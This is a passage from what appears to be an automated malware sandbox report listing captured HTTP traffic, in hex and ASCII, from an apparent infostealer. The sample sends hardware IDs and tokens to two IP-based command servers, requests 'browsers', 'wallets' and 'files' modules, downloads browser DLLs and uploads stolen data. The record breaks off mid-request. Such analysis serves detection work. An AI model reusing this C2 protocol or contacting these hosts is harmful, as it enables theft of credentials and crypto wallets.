name="mode"51------DHCBGDHIEBFHCBFHDHDHContent-Disposition: form-data; name="task_id"1038999------DHCBGDHIEBFHCBFHDHDHContent-Disposition: form-data; name="status"1------DHCBGDHIEBFHCBFHDHDH--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDBFBFCBFBKECAAKJKFHost: 147.45.68.138Content-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 66 39 32 63 36 63 39 63 39 61 33 61 64 30 63 39 31 63 62 62 65 35 64 33 33 64 31 64 39 31 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 36 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 2d 2d 0d 0a Data Ascii: ------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="token"56f92c6c9c9a3ad0c91cbbe5d33d1d91------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="mode"6------DGDBFBFCBFBKECAAKJKF--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 193.176.190.41Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEBFHIJECFIDGDGCGHCGHost: 193.176.190.41Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 31 34 35 35 44 42 38 42 39 39 37 33 33 37 30 38 35 37 36 34 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 47 2d 2d 0d 0a Data Ascii: ------KEBFHIJECFIDGDGCGHCGContent-Disposition: form-data; name="hwid"C1455DB8B9973370857647------KEBFHIJECFIDGDGCGHCGContent-Disposition: form-data; name="build"default------KEBFHIJECFIDGDGCGHCG--
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJDGCAEBFIIECAKFHIJHost: 193.176.190.41Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 62 64 62 30 64 39 39 62 63 36 33 63 33 39 37 32 63 32 32 34 35 30 31 36 34 37 31 66 39 63 33 31 34 62 31 61 39 62 39 39 63 32 64 62 65 30 65 66 35 62 39 66 65 64 39 37 65 39 33 32 36 66 31 38 37 63 38 62 62 32 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 2d 2d 0d 0a Data Ascii: ------GIJDGCAEBFIIECAKFHIJContent-Disposition: form-data; name="token"32bdb0d99bc63c3972c2245016471f9c314b1a9b99c2dbe0ef5b9fed97e9326f187c8bb2------GIJDGCAEBFIIECAKFHIJContent-Disposition: form-data; name="message"browsers------GIJDGCAEBFIIECAKFHIJ--
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDGHJEHJJDAAAKEBGCFHost: 193.176.190.41Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 62 64 62 30 64 39 39 62 63 36 33 63 33 39 37 32 63 32 32 34 35 30 31 36 34 37 31 66 39 63 33 31 34 62 31 61 39 62 39 39 63 32 64 62 65 30 65 66 35 62 39 66 65 64 39 37 65 39 33 32 36 66 31 38 37 63 38 62 62 32 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 2d 2d 0d 0a Data Ascii: ------BGDGHJEHJJDAAAKEBGCFContent-Disposition: form-data; name="token"32bdb0d99bc63c3972c2245016471f9c314b1a9b99c2dbe0ef5b9fed97e9326f187c8bb2------BGDGHJEHJJDAAAKEBGCFContent-Disposition: form-data; name="message"plugins------BGDGHJEHJJDAAAKEBGCF--
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBGIIDBKEBFBGCAEBAKHost: 193.176.190.41Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 62 64 62 30 64 39 39 62 63 36 33 63 33 39 37 32 63 32 32 34 35 30 31 36 34 37 31 66 39 63 33 31 34 62 31 61 39 62 39 39 63 32 64 62 65 30 65 66 35 62 39 66 65 64 39 37 65 39 33 32 36 66 31 38 37 63 38 62 62 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 2d 2d 0d 0a Data Ascii: ------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="token"32bdb0d99bc63c3972c2245016471f9c314b1a9b99c2dbe0ef5b9fed97e9326f187c8bb2------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="message"fplugins------JEBGIIDBKEBFBGCAEBAK--
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEBFHIJECFIDGDGCGHCGHost: 193.176.190.41Content-Length: 7947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/sqlite3.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFBAKJDBKJJKFIDBGHCHost: 147.45.68.138Content-Length: 256Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 41 4b 4a 44 42 4b 4a 4a 4b 46 49 44 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 31 34 35 35 44 42 38 42 39 39 37 33 33 37 30 38 35 37 36 34 37 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 41 4b 4a 44 42 4b 4a 4a 4b 46 49 44 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 41 4b 4a 44 42 4b 4a 4a 4b 46 49 44 42 47 48 43 2d 2d 0d 0a Data Ascii: ------FCFBAKJDBKJJKFIDBGHCContent-Disposition: form-data; name="hwid"C1455DB8B9973370857647-a33c7340-61ca------FCFBAKJDBKJJKFIDBGHCContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------FCFBAKJDBKJJKFIDBGHC--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBKKKKKFBGDGDHIDBGHHost: 147.45.68.138Content-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 34 62 39 38 33 30 31 33 31 32 39 62 66 61 38 36 30 62 35 61 35 66 38 62 34 65 38 61 61 35 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 2d 2d 0d 0a Data Ascii: ------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="token"a4b983013129bfa860b5a5f8b4e8aa51------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="mode"1------IDBKKKKKFBGDGDHIDBGH--
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDGCAEBFIIECAKFHIJEHost: 193.176.190.41Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJDGIECFCAKKFHIIIJEHost: 147.45.68.138Content-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 34 62 39 38 33 30 31 33 31 32 39 62 66 61 38 36 30 62 35 61 35 66 38 62 34 65 38 61 61 35 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 2d 2d 0d 0a Data Ascii: ------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="token"a4b983013129bfa860b5a5f8b4e8aa51------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="mode"2------JJJDGIECFCAKKFHIIIJE--
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAEHCFHJJJJECAAFBKJHost: 193.176.190.41Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJKJDGCGDAKFHIDBGCBHost: 193.176.190.41Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 62 64 62 30 64 39 39 62 63 36 33 63 33 39 37 32 63 32 32 34 35 30 31 36 34 37 31 66 39 63 33 31 34 62 31 61 39 62 39 39 63 32 64 62 65 30 65 66 35 62 39 66 65 64 39 37 65 39 33 32 36 66 31 38 37 63 38 62 62 32 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 2d 2d 0d 0a Data Ascii: ------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="token"32bdb0d99bc63c3972c2245016471f9c314b1a9b99c2dbe0ef5b9fed97e9326f187c8bb2------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="file"------EHJKJDGCGDAKFHIDBGCB--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDAAKEGDBFIJJKFHCFBHost: 147.45.68.138Content-Length: 332Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 41 41 4b 45 47 44 42 46 49 4a 4a 4b 46 48 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 34 62 39 38 33 30 31 33 31 32 39 62 66 61 38 36 30 62 35 61 35 66 38 62 34 65 38 61 61 35 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 41 4b 45 47 44 42 46 49 4a 4a 4b 46 48 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 41 4b 45 47 44 42 46 49 4a 4a 4b 46 48 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 41 4b 45 47 44 42 46 49 4a 4a 4b 46 48 43 46 42 2d 2d 0d 0a Data Ascii: ------HIDAAKEGDBFIJJKFHCFBContent-Disposition: form-data; name="token"a4b983013129bfa860b5a5f8b4e8aa51------HIDAAKEGDBFIJJKFHCFBContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------HIDAAKEGDBFIJJKFHCFBContent-Disposition: form-data; name="mode"21------HIDAAKEGDBFIJJKFHCFB--
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJKJEHJKJEBGHJJKEBGIHost: 193.176.190.41Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 62 64 62 30 64 39 39 62 63 36 33 63 33 39 37 32 63 32 32 34 35 30 31 36 34 37 31 66 39 63 33 31 34 62 31 61 39 62 39 39 63 32 64 62 65 30 65 66 35 62 39 66 65 64 39 37 65 39 33 32 36 66 31 38 37 63 38 62 62 32 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 2d 2d 0d 0a Data Ascii: ------HJKJEHJKJEBGHJJKEBGIContent-Disposition: form-data; name="token"32bdb0d99bc63c3972c2245016471f9c314b1a9b99c2dbe0ef5b9fed97e9326f187c8bb2------HJKJEHJKJEBGHJJKEBGIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HJKJEHJKJEBGHJJKEBGIContent-Disposition: form-data; name="file"------HJKJEHJKJEBGHJJKEBGI--
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/freebl3.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAEBFIIECBGCBGDHCAFHost: 147.45.68.138Content-Length: 7465Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/mozglue.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIDAKJDHJKFHIEBFCGHHost: 147.45.68.138Content-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/msvcp140.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/nss3.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/softokn3.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/vcruntime140.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEBAFBGIDHCBFHIECFCHost: 193.176.190.41Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIIIDGHJEBFBGDHDGIIHost: 193.176.190.41Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 62 64 62 30 64 39 39 62 63 36 33 63 33 39 37 32 63 32 32 34 35 30 31 36 34 37 31 66 39 63 33 31 34 62 31 61 39 62 39 39 63 32 64 62 65 30 65 66 35 62 39 66 65 64 39 37 65 39 33 32 36 66 31 38 37 63 38 62 62 32 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 2d 2d 0d 0a Data Ascii: ------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="token"32bdb0d99bc63c3972c2245016471f9c314b1a9b99c2dbe0ef5b9fed97e9326f187c8bb2------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="message"wallets------FIIIIDGHJEBFBGDHDGII--
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKECFIIEHCFHIECAFBAKHost: 193.176.190.41Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 62 64 62 30 64 39 39 62 63 36 33 63 33 39 37 32 63 32 32 34 35 30 31 36 34 37 31 66 39 63 33 31 34 62 31 61 39 62 39 39 63 32 64 62 65 30 65 66 35 62 39 66 65 64 39 37 65 39 33 32 36 66 31 38 37 63 38 62 62 32 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 4b 2d 2d 0d 0a Data Ascii: ------BKECFIIEHCFHIECAFBAKContent-Disposition: form-data; name="token"32bdb0d99bc63c3972c2245016471f9c314b1a9b99c2dbe0ef5b9fed97e9326f187c8bb2------BKECFIIEHCFHIECAFBAKContent-Disposition: form-data; name="message"files------BKECFIIEHCFHIECAFBAK--
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIDBAEGIIIDHJKEGDBHost: 193.176.190.41Content-Length: 84811Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJJEHCBAKFBFHJKFBKHost: 193.176.190.41Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 45 48 43 42 41 4b 46 42 46 48 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 62 64 62 30 64 39 39 62 63 36 33 63 33 39 37 32 63 32 32 34 35 30 31 36 34 37 31 66 39 63 33 31 34 62 31 61 39 62 39 39 63 32 64 62 65 30 65 66 35 62 39 66 65 64 39 37 65 39 33 32 36 66 31 38 37 63 38 62 62 32 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 45 48 43 42 41 4b 46 42 46 48 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 